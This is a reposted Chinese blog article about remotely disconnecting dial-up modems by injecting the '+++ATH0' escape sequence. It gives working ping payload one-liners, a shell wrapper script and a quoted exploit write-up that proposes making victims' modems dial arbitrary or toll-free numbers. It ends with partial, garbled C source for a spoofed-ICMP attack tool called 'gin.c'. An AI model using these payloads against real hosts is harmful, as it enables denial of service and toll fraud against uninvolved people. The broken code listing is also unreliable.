遠端控制調變解調器 (轉)
控制調變解調器
( 2001-02-05)
By catsun@cners.com
經常上IRC和室的朋友,大概都有在聊的興起時突然吊線的情況吧,也許您想那沒關係,再上去嘛,可同樣的情況又發生了,這!◎#¥%是為什麼呢?排除您調變解調器的原因,那就是有人用一些“炸彈”轟炸你。我也有這樣的痛苦經歷,所以找了些資料讀給大家,比如:“怎樣遠端管理Modems?怎樣遠端傳送AT 命令?我知道他的IP,如何讓他斷線?我怎樣手動控制調變解調器?我怎樣防止ATH者?”
首先說一下,資料包再Inte或LAN上的簡單傳輸過程,假設,您的IP為 xx.xx.xx.xx,您要訪問的服
務器的IP是:yy.yy.yy.yy,您可以用一個簡單的C來傳送一些資料到yy.yy.yy.yy:
C Program at --------------Router ---------------Daemon at Destination’s Port
(xx.xx.xx.xx)(yy.yy.yy.yy)
上面是一個簡單的過程,下面我們描述的再深刻一些:
C Program at source-Modem of Source-Router--Modem of Destination--DestinationDaemon
由此可見,資料包透過兩個調變解調器,而且不只是資訊包透過他們,調變解調器的自身命令也透過。
現在,你知道一個與調變解調器通話需要使用調變解調器的命令---AT命令。很難精確的解釋AT。
大家都知道“賀氏”吧,是他們首先研發了一種基礎的調變解調器的命令,後來很多廠家也遵循這個標準
,所以多數調變解調器為“賀氏相容”---AT Command set.
————————————————————————————————————————————
要點:一個簡單基礎的AT命令是讓你撥號到你的ISP,你知道,當您按“撥號”按鈕時,你的DUN對你
的Modem發出這樣的命令:
ATDT or ATDP 電話號碼
我們分析一下,這個命令,‘AT’啟用Modem,第二部分告訴Modem撥號系統的型別,DT為,DP為脈衝
方式,最後的部分是你要撥的號碼。
說明:要對你的Modem傳送命令,你需要使資訊包處於命令的狀態。
-------------------------------------------------------------------------------------------
Modem只接受在命令的下的命令,在預設狀態下modem處於命令模式,連入後處於線上狀態下,這
時,所有的命令將被視為資訊包,不被處理。這意味著就算我們知道別人的,並向他的Modem傳送
AT命令,但對方的Modem將把AT命令視為資訊包處理,所以我們要讓我們的命令起作用,必須改變對方的
IP為命令模式。
當Modem處於線上狀態時,我們利用一個向它傳送+++串,將使其被改變為命令模式。這樣,當你
知道某人的IP後,向他的Modem傳送+++串和AT命令的話,你將可以遠端管理這個Modem,使它斷線,改
變它的模式,讓它向一個特殊號碼撥叫等。
下面我們用一個簡單的例子說明一下,H0是一個AT命令,它可以使Modem離線或掛起,如下:
+++ATH0
我們將用一個C程式實現這個攻擊,在這之前,我先講一下如何透過來實現一個AT命令,但遺憾的是
這個命令在系統下無效,至少從現有的資料來看,效果不大。
ping -c 5 -p 2b2b2b415453323d32353526574f310d ip
如果這個命令你不理解,可以看看*nix box:
$>man ping
下面的指令碼也可以實現AT。
#!/bin/sh
ping -p 2b2b2b415448300d $*
說明:ATH0命令並不能在所有的機器上實現,它依賴於Modem的品牌。
——————————————————————————————————————————————
我們從PacketStorm上找到了一個C程式,實現ICMP欺騙攻擊。
[ explanation ]
The way the exploit works is it hs escape/control sequences in a ICMP
echo_request packet (it contains the string +++ATH0) the +++ sends the
modem into escape mode (and if the guard time on the modem is set
ridiculously low) it will go into command mode and you can issue it an
ATH0 to hang up. It works on the reply, because it receives the
echo_request packet, then duplicates the packet with a new timestamp and
checksum, dest/source hosts and returns it to the sender, when it returns
it the string is sent to the modem, and thus hanging it up. There are a
few conditions that must be met for it to work (if you dont want to be
vulnerable to this, fix these!)
1) target computer must not filter ICMP echo_request and must know how to
reply to one if it gets one
2) target computer must be using a modem (you can't hangup DS3s, although
i suppose you could hangup telco return connections..if you can find one)
3) target computer must have a vulnerable modem (i.e. guard time is set
ridiculously low)
4) you have to be able to send spoofed packets (or..if you can't i guess
you can use your own address, but then the target knows where it came
from)
In my experimenting, I have also devised various fun ways to use this
program other than just nuking your buddy off IRC. In theory..it is
possible to modify the program to do fun stuff like make the target call
some number after it hangs up (i.e. +++ATH0,,,DT5551212) should make the
modem hangup, pause for 6 seconds then call 5551212..this is fun for
obvious reasons. Then the next variation I came up with is a smurf like
implementation in which you could make a script to Da class C subnet,
with the number of your least favorite company, since most company's have
800 numbers, not only does this cause chaos to the phone bank, but also
costs ~$.30 per call...but i don't condone any of those ideas of course,
this is just for experimental/educational purposes only, if you fix your
modems, none of this is possible, so get off your ass and fix it.
script kiddiez: here is your code...
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE ---
/*
* gin.c
* jpester@engr.csulb.edu
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define VERSION "1.2-05.05" //fixed old compiler compatibility problems
#define FRIEND "foo"
void usage( char *name );
void banner( void );
char *get_progname( char *fullname );
void done( int foo );
void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
unsigned short in_chksum( u_short *ipbuf, int iplen );
int main( int argc, char **argv )
{
struct hostent *sourceinfo, *destinfo;
struct sockaddr_in sin, din;
int sockfd, numpackets, i;
char *target, *source;
banner();
( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;
source = argv[1];
target = argv[2];
numpackets = ( atoi( argv[3] ) );
signal( SIGINT, done );
if( ( sourceinfo = gethostbyname( source ) ) == NULL )
{
printf( "cannot resolve source host!
" );
exit( -1 );
}
memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
sourceinfo->h_length );
sin.sin_family = AF_INET;
if( ( destinfo = gethostbyname( target ) ) == NULL )
{
printf( "cannot resolve destination host!
" );
exit( -1 );
}
memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
destinfo->h_length );
din.sin_family = AF_INET;
if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
{
printf( "Cannot get raw socket, you must be !
" );
exit( -1 );
}
printf( "Source Host : %s
",_ntoa( sin.sin_addr ) );
printf( "Target Host : %s
", inet_ntoa( din.sin_addr ) );
printf( "Number : %d
", numpackets );
printf( "Have some gin sucka" );
for( i = 0; i < numpackets; i++ )
gin( sockfd, sin, din );
printf( "
sent %d packet%c...done
", numpackets, ( numpackets > 1
)
? 's' : ( char )NULL );
return 0;
}
void usage( char *name )
{
printf( "usage: %s
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-991264/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 用AT命令除錯調變解調器除錯
- win10如何重啟調變解調器 win10電腦怎麼重置調變解調器Win10
- win10調變解調器錯誤怎麼辦 win10調變解調器錯誤的解決方法Win10
- 調變解調器已刪除的解決辦法
- win10如何解決調變解調器出現錯誤 寬頻調變解調器連線出現問題Win10
- 是德科技應用QualcommLTE物聯網調變解調器
- 遠端控制監聽器
- Win7 提示無法檢測到撥號調變解調器Win7
- 遠端控制篇:抓取遠端螢幕影像 (轉)
- win10提示調變解調器報告了一個錯誤怎麼回事 win10系統提示調變解調器報告了一個錯誤如何處理Win10
- 基 於Win95 TAPI 的 調 制 解 調 器 編 程 (轉)API
- Strategy Analytics觀點:蘋果收購英特爾調變解調器業務蘋果
- 遠端桌面控制器,遠端桌面控制器哪款容易上手?如何連線
- 遠端控制篇:透過IP地址得到機器名 (轉)
- “SSH”讓遠端控制更安全(轉)
- VNC遠端控制Linux桌面(轉)VNCLinux
- VNC遠端控制,VNC遠端控制連線WindowsVNCWindows
- PLC智慧閘道器在調溫除溼控制系統中如何實現遠端監控和故障報警
- 遠端控制篇:模擬按鍵 (轉)
- vnc遠端控制linux主機(轉)VNCLinux
- .色調變換(Hue change)源程式 (轉)
- 國內安卓端瀏覽器調研安卓瀏覽器
- 調變解調器錯誤651怎麼修復 win10連線錯誤651怎麼解決Win10
- 遠端控制篇:獲得網路鄰居所有機器名 (轉)
- vnc遠端畫面不能控制,為什麼vnc遠端畫面不能控制?原因詳解VNC
- LINUX的遠端圖形介面VNC配置以及調整LinuxVNC
- 智慧小型斷路器遠端控制分合閘
- 遠端通訊控制器(T-BOX)
- vnc遠端畫面不能控制,vnc遠端畫面不能控制是為什麼?原因詳解VNC
- 電腦遠端控制怎麼弄 學會遠端控制電腦
- 高通擬2020年推出下一代處理器,內建5G調變解調器
- PbootCMS用於遠端調取系統資料API介面列表bootAPI
- 在MySql中新增遠端控制使用者(轉)MySql
- 電腦遠端控制怎麼弄 遠端控制別人的電腦
- 炫酷的環形調節器控制元件 : RegulatorView控制元件View
- FreeBSD系統中調整控制檯設定(轉)
- 詳解Linux中SSH遠端訪問控制Linux
- Intel推商用5G無線調變解調器產品組合,支援多國網路頻段方案Intel